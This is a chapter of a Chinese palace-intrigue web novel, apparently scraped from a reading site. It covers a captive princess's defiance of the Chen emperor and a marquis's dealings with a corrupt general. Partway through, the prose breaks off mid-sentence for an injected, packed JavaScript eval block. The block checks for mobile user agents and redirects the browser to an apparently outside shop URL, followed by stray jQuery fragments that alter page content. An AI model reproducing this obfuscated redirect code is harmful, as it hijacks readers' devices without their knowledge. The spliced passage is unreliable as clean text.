默认冷灰
24号文字
方正启体

7. 第七章后续

作者:青黄赤白黑本书字数:K更新时间:
    若是兰溪在这里,她便会看出来姜茵这份平静,其实是硬装出来的。


    可惜兰溪不在,穆与铮对姜茵没有那么细致入微的观察,所以,他着实有些讶然,又有几分好奇姜茵到底想做什么。


    而姜茵想做的其实非常简单,在穆与铮砍碎她母亲的牌位的时候,她便意识到死物已经无力回天了。


    但是,她得把活着的人救回来。


    姜茵知道,离国不是她的后盾,但是,从之前种种之中,她感觉到,穆与铮好像没有意识到这一点。


    于是在电光火石之间,姜茵便做出了决断。


    她不顾穆与铮的命令,站起来,面无表情地直视着他,说道:“随本宫一起来的兰溪在哪里?”


    被穆与铮唤来的宫人看得出他们二人之间腥风血雨的阵势。


    春彩也在其中,见穆与铮没有回答,于是便试图平息一下过于浓郁的硝烟。


    “想必姜美人定是无心之过,说来还是那侍女心怀鬼胎,”她一边说着,还一边瞧了穆与铮一眼,并对他说道:“要不然,奴婢把她打死算了,省得那侍女蛊惑人心。”


    “不行,让兰溪回来,”姜茵语气轻缓,却又万分坚定地看着穆与铮,说道:“陛下就算是不拘小节,但是莫要忘了,本宫是来和亲的,是望两国太平。”


    “辰国近来虽然取胜,但焉知离国何时卷土重来?”


    穆与铮怔忪了片刻,将轻慢的心悄悄收起来了一点,但仍是不饶人地说道:“那便多谢爱妃的提醒了,他日辰国的铁骑踏碎洛城,朕一定带你去好好欣赏。”


    说罢,穆与铮便头也不回地离开了。


    春彩瞧了姜茵一眼,而后便紧跟着穆与铮走了出来,并问道:“陛下,您方才说得对姜美人的处置可还照旧?”


    穆与铮确实真是被姜茵的话弄了个清醒,先前他的确有些被胜利冲昏了头脑,说到底,烂船还有三分钉,他暂时还不能把姜茵当成一个能随手打发的东西。


    但他也是真的不爽有人忤逆他。


    “照旧,但派人看着她别让她死了,”穆与铮面无表情地说着,“至于她想要的那个侍女,还给她就是。”


    春彩心里一个激灵,低下头应着,将心虚的神色藏在暗处。


    作为穆与铮为数不多信任的心腹,她有权不通过穆与铮直接处理一些碍眼的人,但她向来战战兢兢,很少使用这一权力。


    结果第一次自作主张,就做错了?


    春彩想着,思绪就不知道飞到了哪里,所以并没有注意到穆与铮已经停了下来,而她还继续走着,直接撞到了穆与铮的怀里。


    春彩心里一紧,“扑通”一声就跪了下去,五体投地,说道:“还请陛下恕罪。”


    但是,喜怒无常的君主没有责怪她,相反,那个人还好好地将她扶了起来,模样与神态俱是与方才孑然不同的温柔。


    是往常春彩只能在纪贵妃那里看到的模样。


    春彩顿时有些恍然,穆与铮看一眼她的模样,便捋清了事情的来龙去脉。


    他轻笑了一声,说道:“你跟着朕已经许多年了,向来办事妥帖仔细,几乎从不出错。”


    “不过人又不是机器,犯些小错也是无妨的。”


    春彩目睹过,对于那些办事不力的人,穆与铮有何等雷厉风行的手段。


    可是,对于信任的人,陛下就是这么不一样,她实在很难克制自己,不去为陛下拼命。


    “日后绝不会再有这样的事发生。”春彩发自内心地对穆与铮说道。


    穆与铮眉眼间又露出了若有似无的笑,不过春彩没有看出来。


    便听穆与铮又说道:“那便由你将她那侍女送回去,朕还要研究研究,离国到底还能怎么垂死挣扎。”


    “是。”


    另一头,洛城。


    庆安侯府已经闹了好几日了。


    侯府祠堂中,庆安侯恨铁不成钢地看着他的长子傅州,直挺挺地跪在他面前,口中仍在说着:“我要去从军。”


    “你想的倒是挺好,你要知道,战场上是真的会死人的!”


    庆安侯前半辈子征战沙场,看多了生离死别,老了解甲归田,是一点也不想他的长子再入这么危险行当。


    “孩儿知道。”可傅州神情郑重,半点退让的意思也无。


    年轻的侯夫人瞧着这父子俩的争吵,心里不住地生出一丝喜意。


    她是庆安侯的填房,也为庆安侯生下了一个儿子,不过,有傅州在这里,她的儿子肯定没有机会继承侯府。


    可巧傅州不知道抽了什么风要去从军,她这个做母亲的岂有不成全之理?


    于是她上前给庆安侯顺着气,安慰道:“少年人是该闯一闯的,没准便有另一番天地。”


    为了避免话语听起来像是她迫不及待地期待傅州去死,侯夫人又小心地贴在庆安侯的耳畔,说道:“再说,您和黄大将军交代一下,照看着点小侯爷不就成了?”


    庆安侯瞧了瞧傅州,发现他依然是一副死犟的样子,终于还是听了侯夫人的建议,一甩衣袖离开了祠堂。


    傅州艰难地站了起来,心道:他一定要从军,让离国的军队踏破邺都,将阿茵抢回来。


    庆安侯那边的心情却依然不是很好。


    侯夫人自然看出来了,接着安抚道:“黄大将军原本就是您的手下,肯定会给您几分薄面的。”


    庆安侯的脸色更难看了。


    正是因为黄大将军原本是他的手下,他才会觉得难搞。


    黄大将军本名黄一金,是他一手提拔上来的人,出身微末,骁勇善战,是难得一见的将才。


    但是,这个人有个非常明显的弱点,那就是贪财,而且是雁过拔毛的那种。


    他还记得某一次战斗结束打扫战场的时候,亲眼看见黄一金挨个去翻那些死尸,将死尸身上一点微末的东西也要搜刮下来,然后又背着他找了人将那些东西卖出去换成了钱。


    庆安侯因此对黄一金观感不适,但是那时候黄一金已经不是无名小卒,势力初具规模,他已经无力回天,于是便没有发作。


    他想,这些年离国的军队武备废弛,大概也可能有黄一金的一份“功劳”。


    庆安侯叹了声世事无常,便叫人去被礼物,又带上夫人,往大将军府去。


    大将军府。


    因为刚与辰国达成了和平协议,所以黄大将军从前线回到了洛城,将军府内可以听到戏班


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265458|198100||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子唱戏的声音,想来此人回到洛城的日子过得应该相当舒坦。


    但,这对吗?


    庆安侯随下人在将军府中行走时想着,一个刚刚大败而归的将军,还有闲情逸致看戏?


    庆安侯的眉头不自觉地皱紧。


    但是黄大将军一见他,表现得却相当热络,又是看茶,又是招呼人坐下,还道:“侯爷今日怎么来了?”


    庆安侯想,到底他是有求于人,于是便道:“还不是因为我那不中用的儿子。”


    说着他叫侯夫人将礼物放在桌上,说起了傅州想要从军的事。


    只见,黄大将军的眼睛几乎要黏在礼物上,见庆安侯说完,便连连说道:“小事一桩。”


    庆安侯见他这模样,心底仍是不放心。


    可是黄大将军又和他拍胸脯打包票,让他没有任何质疑的余地。


    纵使有千万份担忧,庆安侯也不得不暂时咽下,而后起身告辞。


    然而,在庆安侯与夫人准备离开的时候,黄大将军忽然收起了那副市井做派,带着一种莫名的意味,说了一句:“可是侯爷,你知道刀剑无眼,战场上是会死人的吧?”


    庆安侯觉得有些不对,可一转头,黄大将军还是老样子,并没有什么变化。


    他点点头,而后道:“所以还望不要让傅州去危险的地方。”


    “我明白了。”黄大将军如是说着。


    与此同时,邺都,鸣鸾殿。


    姜茵看着殿外里三层外三层的人,便也不想着离开,总归这地方倒是比原来安排给她的住处要好上不少。


    黄昏时分,姜茵靠在塌上昏昏欲睡。


    原因无他,这一天实在发生了太多的事情,她需要休息一下。


    然而,下一刻,她便被沉重的脚步声惊醒。


    她猛然起身,就见春彩垂着头,将身后的人引了进来,并道:“姜美人,兰溪已经给您送回来了。”


    姜茵瞬间起身,朝着门口看去。


    只见兰溪的脸色十分苍白,脚步虚浮,但看到她,脸上却露出了一点微末的笑意,并道:“殿下没事真是太好了。”


    姜茵连忙上前扶住了兰溪。


    但是,只是这扶着胳膊的微弱动作,都让兰溪下意识地扭曲了面容。


    “他们对你做了什么?”姜茵瞬间警觉。


    她意识到兰溪真的受到了责罚。


    一股怒火顿时在姜茵心底里升起。


    这人既然厌恶她,那就该只折磨她一个,牵连其他人算什么?


    姜茵想着,目光又无意识地落在了地上那一小堆被被清理的牌位碎片,脑海中不住地回响起穆予铮的话,与她母亲临终说的话。


    本来只有星星点点的火焰瞬间燎原,她顿时怒不可遏起来。


    “殿下?”兰溪看到姜茵有些气喘,脸色不好,关心起来。


    而姜茵摇摇头示意自己没事。


    兰溪叹了一口气,身上的伤痕仍在不住地疼,她担忧地说道:“辰国国君如此对您,您该如何自处?”


    姜茵冷笑了起来,心底的怒火仿佛烧进了她的眼睛,熬干了她的脑浆。


    她冷声道:“我要他国破家亡,死在我的手上。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)